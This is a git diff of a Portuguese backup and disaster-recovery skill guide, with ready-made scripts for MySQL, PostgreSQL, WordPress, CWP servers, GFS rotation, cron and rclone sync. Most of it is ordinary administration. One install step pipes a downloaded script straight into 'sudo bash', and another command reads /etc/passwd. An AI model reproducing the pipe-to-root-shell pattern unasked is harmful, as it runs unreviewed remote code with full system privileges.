||||
- `--events`: Incluir events agendados
|
||||
- `--hex-blob`: Formato binário seguro para BLOBs
|
||||
Ver schedule completo em `references/scripts.md` (seccao Cron Schedule).
|
||||
|
||||
**Anti-Patterns:**
|
||||
- ❌ `mysqldump database > backup.sql` - Sem single-transaction (inconsistente)
|
||||
- ❌ Backup sem compressão (desperdiça espaço)
|
||||
- ❌ Password na linha de comando (inseguro)
|
||||
### Passo 5: Configurar cloud sync
|
||||
|
||||
#### PostgreSQL - pg_dump
|
||||
Configurar rclone para sync automatico. Ver detalhes em `references/scripts.md`.
|
||||
|
||||
```bash
|
||||
# Backup PostgreSQL com compressão máxima
|
||||
pg_dump -Fc -Z9 -d database_name > backup_$(date +%Y%m%d_%H%M%S).dump
|
||||
### Passo 6: Testar restore (mensal obrigatorio)
|
||||
|
||||
# Backup de cluster completo
|
||||
pg_dumpall -c | gzip > cluster_backup_$(date +%Y%m%d).sql.gz
|
||||
```
|
||||
|
||||
#### Backup Incremental com Binlog (MySQL)
|
||||
|
||||
```bash
|
||||
# Activar binlog (my.cnf)
|
||||
# [mysqld]
|
||||
# log-bin=/var/log/mysql/mysql-bin.log
|
||||
# expire_logs_days=7
|
||||
|
||||
# Backup incremental desde último full backup
|
||||
mysqlbinlog --read-from-remote-server --host=localhost \
|
||||
--start-datetime="2026-02-03 00:00:00" \
|
||||
mysql-bin.000001 > incremental_backup.sql
|
||||
```
|
||||
|
||||
### 2. Ficheiros WordPress
|
||||
|
||||
#### Backup Completo
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-wordpress.sh - Backup completo de site WordPress
|
||||
|
||||
SITE_NAME="emanuelalmeida"
|
||||
SITE_PATH="/home/ealmeida/emanuelalmeida.pt"
|
||||
BACKUP_DIR="/backups/wordpress"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
|
||||
# Backup com exclusões inteligentes
|
||||
tar -czf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" \
|
||||
--exclude='wp-content/cache' \
|
||||
--exclude='wp-content/uploads/cache' \
|
||||
--exclude='wp-content/upgrade' \
|
||||
--exclude='wp-content/backup-*' \
|
||||
--exclude='*.log' \
|
||||
-C "$(dirname $SITE_PATH)" \
|
||||
"$(basename $SITE_PATH)"
|
||||
|
||||
# Validar arquivo criado
|
||||
if [ -f "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" ]; then
|
||||
SIZE=$(du -h "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" | cut -f1)
|
||||
echo "✅ Backup WordPress $SITE_NAME: $SIZE"
|
||||
|
||||
# Testar integridade
|
||||
tar -tzf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "✅ Integridade verificada"
|
||||
else
|
||||
echo "❌ Arquivo corrompido!"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "❌ Falha ao criar backup"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Rotação
|
||||
find "$BACKUP_DIR" -name "${SITE_NAME}_*.tar.gz" -mtime +7 -delete
|
||||
```
|
||||
|
||||
#### Backup Incremental com rsync
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-incremental-rsync.sh
|
||||
|
||||
SOURCE="/home/ealmeida/emanuelalmeida.pt"
|
||||
BACKUP_BASE="/backups/incremental"
|
||||
DATE=$(date +%Y%m%d)
|
||||
|
||||
# Backup incremental (apenas alterações)
|
||||
rsync -avz --delete \
|
||||
--backup --backup-dir="$BACKUP_BASE/delta/$DATE" \
|
||||
--exclude='wp-content/cache' \
|
||||
"$SOURCE/" "$BACKUP_BASE/current/"
|
||||
|
||||
echo "✅ Backup incremental concluído"
|
||||
echo "📁 Alterações em: $BACKUP_BASE/delta/$DATE"
|
||||
```
|
||||
|
||||
#### Apenas Ficheiros Alterados (Últimas 24h)
|
||||
|
||||
```bash
|
||||
# Backup apenas ficheiros modificados hoje
|
||||
find /var/www/html -mtime -1 -type f | \
|
||||
tar -czf changes_$(date +%Y%m%d).tar.gz -T -
|
||||
```
|
||||
|
||||
### 3. Servidor CWP Completo
|
||||
|
||||
#### Backup Conta CWP
|
||||
|
||||
```bash
|
||||
# Usar ferramenta nativa CWP
|
||||
/usr/local/cwpsrv/htdocs/resources/scripts/backup_accounts \
|
||||
--account=username \
|
||||
--type=full \
|
||||
--destination=/backups/cwp
|
||||
|
||||
# Lista de contas
|
||||
cat /etc/passwd | grep '/home/' | cut -d: -f1
|
||||
```
|
||||
|
||||
#### Backup Configurações Servidor
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-server-config.sh
|
||||
|
||||
BACKUP_DIR="/backups/config"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Backup de todas as configurações críticas
|
||||
tar -czf "$BACKUP_DIR/server_config_${DATE}.tar.gz" \
|
||||
/etc/nginx \
|
||||
/etc/apache2 \
|
||||
/etc/httpd \
|
||||
/etc/mysql \
|
||||
/etc/my.cnf \
|
||||
/etc/php* \
|
||||
/usr/local/cwpsrv/conf \
|
||||
/root/.acme.sh/cwp_certs \
|
||||
/etc/cron* \
|
||||
/etc/fstab \
|
||||
/etc/hosts \
|
||||
/etc/sysconfig/network-scripts
|
||||
|
||||
echo "✅ Backup configurações servidor: ${BACKUP_DIR}/server_config_${DATE}.tar.gz"
|
||||
```
|
||||
Executar script de teste de restore mensalmente. Ver script em `references/scripts.md`.
|
||||
|
||||
---
|
||||
|
||||
## Retenção Recomendada (GFS - Grandfather-Father-Son)
|
||||
|
||||
| Tipo | Retenção | Frequência | Slot |
|
||||
|------|----------|------------|------|
|
||||
| **Horário** | 24h | A cada hora | 24 slots |
|
||||
| **Diário** | 7 dias | 1x/dia (00:00) | 7 slots |
|
||||
| **Semanal** | 4 semanas | 1x/semana (domingo) | 4 slots |
|
||||
| **Mensal** | 12 meses | 1x/mês (dia 1) | 12 slots |
|
||||
| **Anual** | 7 anos | 1x/ano (1 janeiro) | 7 slots |
|
||||
|
||||
**Total slots:** 24 + 7 + 4 + 12 + 7 = **54 backups simultâneos**
|
||||
|
||||
### Script de Rotação GFS
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-rotation-gfs.sh
|
||||
|
||||
BACKUP_DIR="/backups"
|
||||
|
||||
# Definir retenção
|
||||
HOURLY_KEEP=24
|
||||
DAILY_KEEP=7
|
||||
WEEKLY_KEEP=4
|
||||
MONTHLY_KEEP=12
|
||||
|
||||
# Rotação por tipo
|
||||
echo "🔄 Rotação de backups..."
|
||||
|
||||
# Horários (manter 24h)
|
||||
find "$BACKUP_DIR/hourly" -mtime +1 -delete
|
||||
echo " Horários: mantidos últimas 24h"
|
||||
|
||||
# Diários (manter 7 dias)
|
||||
find "$BACKUP_DIR/daily" -mtime +$DAILY_KEEP -delete
|
||||
echo " Diários: mantidos $DAILY_KEEP dias"
|
||||
|
||||
# Semanais (manter 4 semanas)
|
||||
find "$BACKUP_DIR/weekly" -mtime +$((WEEKLY_KEEP * 7)) -delete
|
||||
echo " Semanais: mantidos $WEEKLY_KEEP semanas"
|
||||
|
||||
# Mensais (manter 12 meses)
|
||||
find "$BACKUP_DIR/monthly" -mtime +$((MONTHLY_KEEP * 30)) -delete
|
||||
echo " Mensais: mantidos $MONTHLY_KEEP meses"
|
||||
|
||||
echo "✅ Rotação concluída"
|
||||
|
||||
# Relatório de espaço
|
||||
du -sh "$BACKUP_DIR"/*
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Disaster Recovery
|
||||
## Disaster recovery
|
||||
|
||||
### Checklist DR
|
||||
|
||||
- [ ] Backups testados (restore funciona?)
|
||||
- [ ] Documentação actualizada (runbook)
|
||||
- [ ] Runbook de recovery acessível offline
|
||||
- [ ] Contactos de emergência definidos
|
||||
- [ ] Documentacao actualizada (runbook)
|
||||
- [ ] Runbook de recovery acessivel offline
|
||||
- [ ] Contactos de emergencia definidos
|
||||
- [ ] Acesso offsite confirmado (credenciais)
|
||||
- [ ] Teste DR trimestral agendado
|
||||
- [ ] RTO/RPO documentados
|
||||
- [ ] Plano de comunicação (clientes/equipa)
|
||||
- [ ] Plano de comunicacao (clientes/equipa)
|
||||
|
||||
### Runbook de Recovery
|
||||
### Runbook
|
||||
|
||||
```markdown
|
||||
# 🚨 DISASTER RECOVERY RUNBOOK
|
||||
Ver runbook completo passo-a-passo em `references/scripts.md` (seccao Runbook Disaster Recovery).
|
||||
|
||||
## Cenário: Servidor CWP Inoperacional
|
||||
|
||||
### Passo 1: Avaliação (5 min)
|
||||
- [ ] Confirmar que servidor não responde (ping, SSH)
|
||||
- [ ] Identificar tipo de falha (hardware, software, ataque)
|
||||
- [ ] Activar equipa de recovery
|
||||
- [ ] Comunicar clientes afectados (se downtime >1h)
|
||||
|
||||
### Passo 2: Decisão (10 min)
|
||||
- [ ] Tentar recovery no servidor actual?
|
||||
- [ ] Provisionar novo servidor?
|
||||
- [ ] Activar failover (se existir)?
|
||||
|
||||
### Passo 3: Provisionar Servidor (30 min)
|
||||
- [ ] Servidor novo: Ubuntu 22.04 ou CentOS 7
|
||||
- [ ] Instalar CWP: `sh cwp-el7-latest.sh`
|
||||
- [ ] Configurar firewall e SSH
|
||||
- [ ] Configurar DNS (apontar para novo IP)
|
||||
|
||||
### Passo 4: Restore Bases de Dados (1-2h)
|
||||
```bash
|
||||
# Descomprimir backup mais recente
|
||||
gunzip ealmeida_desk24_20260203_120000.sql.gz
|
||||
|
||||
# Criar BD
|
||||
mysql -e "CREATE DATABASE ealmeida_desk24;"
|
||||
|
||||
# Restore
|
||||
mysql ealmeida_desk24 < ealmeida_desk24_20260203_120000.sql
|
||||
|
||||
# Verificar
|
||||
mysql -e "USE ealmeida_desk24; SHOW TABLES;"
|
||||
```
|
||||
|
||||
### Passo 5: Restore Ficheiros (1-2h)
|
||||
```bash
|
||||
# Descomprimir backup sites
|
||||
tar -xzf wordpress_sites_20260203.tar.gz -C /tmp/
|
||||
|
||||
# Copiar para CWP
|
||||
cp -r /tmp/emanuelalmeida.pt /home/ealmeida/
|
||||
|
||||
# Corrigir permissões
|
||||
chown -R ealmeida:ealmeida /home/ealmeida/emanuelalmeida.pt
|
||||
chmod 755 /home/ealmeida/emanuelalmeida.pt
|
||||
```
|
||||
|
||||
### Passo 6: Restore Configurações (30 min)
|
||||
```bash
|
||||
# Descomprimir backup config
|
||||
tar -xzf server_config_20260203.tar.gz -C /tmp/
|
||||
|
||||
# Restaurar Nginx/Apache
|
||||
cp -r /tmp/etc/nginx/* /etc/nginx/
|
||||
cp -r /tmp/etc/httpd/* /etc/httpd/
|
||||
|
||||
# Restaurar MySQL config
|
||||
cp /tmp/etc/my.cnf /etc/my.cnf
|
||||
|
||||
# Restaurar SSL
|
||||
cp -r /tmp/root/.acme.sh/cwp_certs/* /root/.acme.sh/cwp_certs/
|
||||
```
|
||||
|
||||
### Passo 7: Validação (30 min)
|
||||
- [ ] Testar acesso SSH
|
||||
- [ ] MySQL a responder
|
||||
- [ ] Apache/Nginx a correr
|
||||
- [ ] Sites WordPress a carregar
|
||||
- [ ] SSL activo
|
||||
- [ ] Email a funcionar (se aplicável)
|
||||
|
||||
### Passo 8: DNS Update (2-24h propagação)
|
||||
- [ ] Actualizar DNS A records para novo IP
|
||||
- [ ] Aguardar propagação (verificar: `dig +short domain.pt`)
|
||||
- [ ] Monitorizar logs de acesso
|
||||
|
||||
### Passo 9: Comunicação
|
||||
- [ ] Notificar equipa: recovery completo
|
||||
- [ ] Notificar clientes: serviços restaurados
|
||||
- [ ] Documentar lições aprendidas
|
||||
|
||||
**RTO Total Estimado:** 4-6 horas
|
||||
**RPO:** Depende de frequência de backup (diário = 24h)
|
||||
```
|
||||
|
||||
### Restore Testing (OBRIGATÓRIO)
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# test-restore.sh - Testar restore em ambiente isolado
|
||||
|
||||
TEST_DB="test_restore_$(date +%Y%m%d)"
|
||||
BACKUP_FILE="/backups/mysql/ealmeida_desk24_latest.sql.gz"
|
||||
|
||||
echo "🧪 TESTE DE RESTORE"
|
||||
echo "==================="
|
||||
|
||||
# 1. Criar BD de teste
|
||||
mysql -e "CREATE DATABASE $TEST_DB;"
|
||||
echo "✅ BD de teste criada: $TEST_DB"
|
||||
|
||||
# 2. Restore do backup
|
||||
gunzip < "$BACKUP_FILE" | mysql "$TEST_DB"
|
||||
echo "✅ Backup restaurado"
|
||||
|
||||
# 3. Validar integridade
|
||||
TABLES=$(mysql -Nse "SELECT COUNT(*) FROM information_schema.TABLES WHERE table_schema='$TEST_DB';")
|
||||
echo "📊 Tabelas restauradas: $TABLES"
|
||||
|
||||
# 4. Check de tabelas
|
||||
mysqlcheck --check "$TEST_DB" | grep -i error
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "✅ Sem erros detectados"
|
||||
else
|
||||
echo "❌ Erros encontrados!"
|
||||
fi
|
||||
|
||||
# 5. Verificar dados (exemplo)
|
||||
ROWS=$(mysql -Nse "SELECT COUNT(*) FROM $TEST_DB.tbltasks;")
|
||||
echo "📝 Registos tbltasks: $ROWS"
|
||||
|
||||
# 6. Tempo de restore
|
||||
echo "⏱️ Tempo restore: calculado acima"
|
||||
|
||||
# 7. Limpar
|
||||
mysql -e "DROP DATABASE $TEST_DB;"
|
||||
echo "🗑️ BD de teste eliminada"
|
||||
|
||||
echo ""
|
||||
echo "✅ TESTE CONCLUÍDO - Backup válido e funcional"
|
||||
```
|
||||
|
||||
**Frequência:** Mensal (mínimo)
|
||||
**RTO total estimado:** 4-6 horas
|
||||
|
||||
---
|
||||
|
||||
## Automação com Cron
|
||||
## Anti-patterns
|
||||
|
||||
```bash
|
||||
# Editar crontab
|
||||
crontab -e
|
||||
```
|
||||
|
||||
**Exemplo de Schedule:**
|
||||
|
||||
```cron
|
||||
# Backup MySQL (diário às 02:00)
|
||||
0 2 * * * /root/scripts/backup-mysql.sh >> /var/log/backup-mysql.log 2>&1
|
||||
|
||||
# Backup WordPress (diário às 03:00)
|
||||
0 3 * * * /root/scripts/backup-wordpress.sh >> /var/log/backup-wp.log 2>&1
|
||||
|
||||
# Backup configurações (semanal, domingo 04:00)
|
||||
0 4 * * 0 /root/scripts/backup-server-config.sh >> /var/log/backup-config.log 2>&1
|
||||
|
||||
# Rotação backups (diário às 05:00)
|
||||
0 5 * * * /root/scripts/backup-rotation-gfs.sh >> /var/log/backup-rotation.log 2>&1
|
||||
|
||||
# Teste de restore (mensal, dia 1 às 06:00)
|
||||
0 6 1 * * /root/scripts/test-restore.sh >> /var/log/test-restore.log 2>&1
|
||||
|
||||
# Sync para cloud (diário às 07:00)
|
||||
0 7 * * * rclone sync /backups gdrive:backups >> /var/log/rclone-sync.log 2>&1
|
||||
```
|
||||
|
||||
**Monitorização:**
|
||||
```bash
|
||||
# Ver últimas execuções
|
||||
tail -50 /var/log/backup-mysql.log
|
||||
|
||||
# Alertas de falha (adicionar ao script)
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "ERRO: Backup falhou" | mail -s "BACKUP FAILED" admin@domain.com
|
||||
fi
|
||||
```
|
||||
| Anti-pattern | Problema | Solucao |
|
||||
|--------------|----------|---------|
|
||||
| Backup sem teste | Pode falhar no restore | Teste mensal obrigatorio |
|
||||
| Apenas local | Perda em desastre | Regra 3-2-1 (offsite obrigatorio) |
|
||||
| Sem encriptacao | Dados expostos | Encriptar backups sensiveis |
|
||||
| Manual | Esquecimento humano | Automatizar via cron |
|
||||
| Sem alertas | Falhas nao detectadas | Monitorizacao + notificacoes |
|
||||
| Password no comando | Inseguro (history, ps) | Usar .my.cnf ou variaveis ENV |
|
||||
| Backup sem rotacao | Disco cheio | Script de rotacao automatico |
|
||||
| Sem documentacao | Caos em emergencia | Runbook DR actualizado |
|
||||
|
||||
---
|
||||
|
||||
## Cloud Sync com rclone
|
||||
|
||||
### Configuração
|
||||
|
||||
```bash
|
||||
# Instalar rclone
|
||||
curl https://rclone.org/install.sh | sudo bash
|
||||
|
||||
# Configurar Google Drive
|
||||
rclone config
|
||||
# Nome: gdrive
|
||||
# Tipo: drive
|
||||
# Seguir wizard de autenticação
|
||||
```
|
||||
|
||||
### Sync Automático
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# sync-backups-cloud.sh
|
||||
|
||||
LOCAL_DIR="/backups"
|
||||
REMOTE="gdrive:backups"
|
||||
|
||||
# Sync (mantém estrutura)
|
||||
rclone sync "$LOCAL_DIR" "$REMOTE" \
|
||||
--exclude "*.tmp" \
|
||||
--exclude "*.log" \
|
||||
--progress
|
||||
|
||||
echo "✅ Sync para cloud concluído"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns (EVITAR)
|
||||
|
||||
| Anti-Pattern | Problema | Solução Correcta |
|
||||
|--------------|----------|------------------|
|
||||
| **Backup sem teste** | Pode falhar no restore | Teste mensal obrigatório |
|
||||
| **Apenas local** | Perda em desastre | Regra 3-2-1 (offsite obrigatório) |
|
||||
| **Sem encriptação** | Dados expostos | Encriptar backups sensíveis |
|
||||
| **Manual** | Esquecimento humano | Automatizar via cron |
|
||||
| **Sem alertas** | Falhas não detectadas | Monitorização + notificações |
|
||||
| **Password no comando** | Inseguro (history, ps) | Usar .my.cnf ou variáveis ENV |
|
||||
| **Backup sem rotação** | Disco cheio | Script de rotação automático |
|
||||
| **Sem documentação** | Caos em emergência | Runbook DR actualizado |
|
||||
|
||||
---
|
||||
|
||||
## Checklist Implementação Completa
|
||||
## Checklist de implementacao
|
||||
|
||||
### Planeamento
|
||||
- [ ] RPO/RTO definidos por sistema
|
||||
- [ ] Regra 3-2-1 implementada
|
||||
- [ ] Política de retenção GFS
|
||||
- [ ] Politica de retencao GFS
|
||||
- [ ] Budget aprovado (storage, cloud)
|
||||
|
||||
### Automação
|
||||
### Automacao
|
||||
- [ ] Scripts de backup criados
|
||||
- [ ] Cron jobs configurados
|
||||
- [ ] Rotação automática activa
|
||||
- [ ] Rotacao automatica activa
|
||||
- [ ] Cloud sync activo (rclone)
|
||||
|
||||
### Segurança
|
||||
- [ ] Encriptação em backups sensíveis
|
||||
- [ ] Permissões correctas (600/700)
|
||||
### Seguranca
|
||||
- [ ] Encriptacao em backups sensiveis
|
||||
- [ ] Permissoes correctas (600/700)
|
||||
- [ ] Passwords em .my.cnf
|
||||
- [ ] Offsite com autenticação 2FA
|
||||
- [ ] Offsite com autenticacao 2FA
|
||||
|
||||
### Monitorização
|
||||
### Monitorizacao
|
||||
- [ ] Logs de backup centralizados
|
||||
- [ ] Alertas de falha (email/Slack)
|
||||
- [ ] Dashboard de status (opcional)
|
||||
- [ ] Relatório semanal automático
|
||||
- [ ] Relatorio semanal automatico
|
||||
|
||||
### Disaster Recovery
|
||||
- [ ] Runbook DR criado e testado
|
||||
- [ ] Teste restore mensal agendado
|
||||
- [ ] Documentação offline acessível
|
||||
- [ ] Equipa treinada
|
||||
- [ ] Contactos de emergência definidos
|
||||
|
||||
### Validação
|
||||
### Validacao
|
||||
- [ ] Primeiro restore teste executado
|
||||
- [ ] RTO medido (tempo real)
|
||||
- [ ] RPO validado (dados perdidos)
|
||||
@@ -644,117 +177,8 @@ echo "✅ Sync para cloud concluído"
|
||||
|
||||
---
|
||||
|
||||
## Datasets Dify (Consulta Obrigatória)
|
||||
## Ficheiros de referencia
|
||||
|
||||
Consultar para aprofundar conhecimento ou resolver casos específicos:
|
||||
|
||||
| Dataset | ID | Uso |
|
||||
|---------|----|----|
|
||||
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Estratégias backup gerais |
|
||||
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Scripts rsync, tar, cron |
|
||||
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Backup contas CWP |
|
||||
| **AWS (Amazon Web Services)** | `cc7f000a-ad86-49b6-b59b-179e65f8a229` | S3, Glacier, EBS snapshots |
|
||||
|
||||
**Consultar quando:**
|
||||
- Implementar estratégia backup em nova plataforma
|
||||
- Optimizar scripts de backup existentes
|
||||
- Configurar replicação de dados
|
||||
- Disaster recovery multi-datacenter
|
||||
|
||||
```javascript
|
||||
// Exemplo: pesquisar backup incremental MySQL
|
||||
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
|
||||
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
|
||||
query: "mysql binlog incremental backup recovery",
|
||||
top_k: 3
|
||||
})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### v2.0.0 (2026-02-03)
|
||||
- **ENHANCED:** Workflows detalhados para cada tipo de backup
|
||||
- Scripts completos prontos a usar (MySQL, WordPress, CWP)
|
||||
- Runbook DR completo passo-a-passo
|
||||
- GFS retention policy implementada
|
||||
- Automação com cron documentada
|
||||
- Cloud sync com rclone
|
||||
- Teste de restore automatizado
|
||||
- Anti-patterns identificados
|
||||
- Checklist de implementação completa
|
||||
|
||||
### v1.0.0 (2026-01-27)
|
||||
- Versão inicial
|
||||
- Conceitos RPO/RTO e regra 3-2-1
|
||||
- Estratégias básicas por tipo de dados
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 2.0.0 | **Autor:** Descomplicar®
|
||||
**Última actualização:** 2026-02-03 (Scripts prontos + DR Runbook + Automação)
|
||||
|
||||
---
|
||||
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para tarefas fora do domínio de especialização desta skill
|
||||
- Quando outra skill mais específica está disponível
|
||||
- Para operações que requerem aprovação manual obrigatória
|
||||
- Quando os requisitos não estão claramente definidos
|
||||
|
||||
|
||||
## Protocolo de Execução
|
||||
|
||||
1. **Análise Inicial**
|
||||
- Verificar requisitos e contexto
|
||||
- Identificar ferramentas necessárias
|
||||
|
||||
2. **Preparação**
|
||||
- Validar acesso a recursos
|
||||
- Preparar ambiente de trabalho
|
||||
|
||||
3. **Execução**
|
||||
- Executar operações de forma incremental
|
||||
- Validar cada passo antes de prosseguir
|
||||
|
||||
4. **Validação**
|
||||
- Verificar resultados obtidos
|
||||
- Confirmar sucesso da operação
|
||||
|
||||
5. **Conclusão**
|
||||
- Documentar alterações realizadas
|
||||
- Reportar status final e próximos passos
|
||||
|
||||
|
||||
## Exemplos de Uso
|
||||
|
||||
### Exemplo 1: Caso Básico
|
||||
```
|
||||
User: [requisição simples relacionada com backup-strategies]
|
||||
Skill: [execução directa com validação]
|
||||
Output: [resultado conciso e accionável]
|
||||
```
|
||||
|
||||
### Exemplo 2: Caso Complexo
|
||||
```
|
||||
User: [requisição multi-passo ou complexa]
|
||||
Skill:
|
||||
1. Análise dos requisitos
|
||||
2. Planeamento da abordagem
|
||||
3. Execução faseada
|
||||
4. Validação contínua
|
||||
Output: [resultado detalhado com próximos passos]
|
||||
```
|
||||
|
||||
### Exemplo 3: Caso com Dependências
|
||||
```
|
||||
User: [requisição que depende de outros sistemas]
|
||||
Skill:
|
||||
1. Verificar dependências disponíveis
|
||||
2. Coordenar com skills/MCPs necessários
|
||||
3. Executar workflow integrado
|
||||
Output: [resultado completo com referências]
|
||||
```
|
||||
| Ficheiro | Conteudo |
|
||||
|----------|----------|
|
||||
| [references/scripts.md](references/scripts.md) | Scripts MySQL/PostgreSQL/WordPress/CWP, rotacao GFS, cron, rclone, teste restore, runbook DR |
|
||||
|
||||
297
infraestrutura/skills/backup-strategies/references/scripts.md
Normal file
297
infraestrutura/skills/backup-strategies/references/scripts.md
Normal file
@@ -0,0 +1,297 @@
|
||||
# /backup-strategies - Scripts e Automação
|
||||
|
||||
Scripts prontos a usar para backup e disaster recovery.
|
||||
|
||||
## MySQL - Dump com Compressão
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-mysql.sh
|
||||
|
||||
DB_NAME="ealmeida_desk24"
|
||||
DB_USER="root"
|
||||
DB_PASS="PASSWORD" # Usar ficheiro .my.cnf na prática
|
||||
BACKUP_DIR="/backups/mysql"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
RETENTION_DAYS=7
|
||||
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
|
||||
mysqldump \
|
||||
--single-transaction \
|
||||
--routines \
|
||||
--triggers \
|
||||
--events \
|
||||
--hex-blob \
|
||||
-u "$DB_USER" \
|
||||
-p"$DB_PASS" \
|
||||
"$DB_NAME" | gzip -9 > "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz"
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
SIZE=$(du -h "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" | cut -f1)
|
||||
echo "Backup $DB_NAME: $SIZE"
|
||||
else
|
||||
echo "ERRO ao fazer backup de $DB_NAME"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
find "$BACKUP_DIR" -name "${DB_NAME}_*.sql.gz" -mtime +$RETENTION_DAYS -delete
|
||||
```
|
||||
|
||||
**Opções Críticas:**
|
||||
- `--single-transaction`: Consistência sem lock (InnoDB)
|
||||
- `--routines`: Incluir stored procedures
|
||||
- `--hex-blob`: Formato binário seguro para BLOBs
|
||||
|
||||
**Anti-Patterns:**
|
||||
- `mysqldump database > backup.sql` sem `--single-transaction`
|
||||
- Backup sem compressão
|
||||
- Password na linha de comando
|
||||
|
||||
## PostgreSQL - pg_dump
|
||||
|
||||
```bash
|
||||
# Backup com compressão máxima
|
||||
pg_dump -Fc -Z9 -d database_name > backup_$(date +%Y%m%d_%H%M%S).dump
|
||||
|
||||
# Backup de cluster completo
|
||||
pg_dumpall -c | gzip > cluster_backup_$(date +%Y%m%d).sql.gz
|
||||
```
|
||||
|
||||
## Backup Incremental MySQL com Binlog
|
||||
|
||||
```bash
|
||||
# Activar binlog (my.cnf):
|
||||
# [mysqld]
|
||||
# log-bin=/var/log/mysql/mysql-bin.log
|
||||
# expire_logs_days=7
|
||||
|
||||
mysqlbinlog --read-from-remote-server --host=localhost \
|
||||
--start-datetime="2026-02-03 00:00:00" \
|
||||
mysql-bin.000001 > incremental_backup.sql
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Backup WordPress
|
||||
|
||||
### Backup Completo
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-wordpress.sh
|
||||
|
||||
SITE_NAME="emanuelalmeida"
|
||||
SITE_PATH="/home/ealmeida/emanuelalmeida.pt"
|
||||
BACKUP_DIR="/backups/wordpress"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
|
||||
tar -czf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" \
|
||||
--exclude='wp-content/cache' \
|
||||
--exclude='wp-content/uploads/cache' \
|
||||
--exclude='wp-content/upgrade' \
|
||||
--exclude='*.log' \
|
||||
-C "$(dirname $SITE_PATH)" \
|
||||
"$(basename $SITE_PATH)"
|
||||
|
||||
if [ -f "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" ]; then
|
||||
tar -tzf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Backup OK e verificado"
|
||||
else
|
||||
echo "Arquivo corrompido!"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
find "$BACKUP_DIR" -name "${SITE_NAME}_*.tar.gz" -mtime +7 -delete
|
||||
```
|
||||
|
||||
### Backup Incremental com rsync
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
SOURCE="/home/ealmeida/emanuelalmeida.pt"
|
||||
BACKUP_BASE="/backups/incremental"
|
||||
DATE=$(date +%Y%m%d)
|
||||
|
||||
rsync -avz --delete \
|
||||
--backup --backup-dir="$BACKUP_BASE/delta/$DATE" \
|
||||
--exclude='wp-content/cache' \
|
||||
"$SOURCE/" "$BACKUP_BASE/current/"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Backup Servidor CWP
|
||||
|
||||
### Backup Conta CWP
|
||||
|
||||
```bash
|
||||
/usr/local/cwpsrv/htdocs/resources/scripts/backup_accounts \
|
||||
--account=username \
|
||||
--type=full \
|
||||
--destination=/backups/cwp
|
||||
```
|
||||
|
||||
### Backup Configurações Servidor
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
BACKUP_DIR="/backups/config"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
tar -czf "$BACKUP_DIR/server_config_${DATE}.tar.gz" \
|
||||
/etc/nginx \
|
||||
/etc/apache2 \
|
||||
/etc/mysql \
|
||||
/etc/my.cnf \
|
||||
/etc/php* \
|
||||
/usr/local/cwpsrv/conf \
|
||||
/root/.acme.sh/cwp_certs \
|
||||
/etc/cron* \
|
||||
/etc/fstab \
|
||||
/etc/hosts
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Rotação GFS (Grandfather-Father-Son)
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
BACKUP_DIR="/backups"
|
||||
|
||||
HOURLY_KEEP=24
|
||||
DAILY_KEEP=7
|
||||
WEEKLY_KEEP=4
|
||||
MONTHLY_KEEP=12
|
||||
|
||||
find "$BACKUP_DIR/hourly" -mtime +1 -delete
|
||||
find "$BACKUP_DIR/daily" -mtime +$DAILY_KEEP -delete
|
||||
find "$BACKUP_DIR/weekly" -mtime +$((WEEKLY_KEEP * 7)) -delete
|
||||
find "$BACKUP_DIR/monthly" -mtime +$((MONTHLY_KEEP * 30)) -delete
|
||||
|
||||
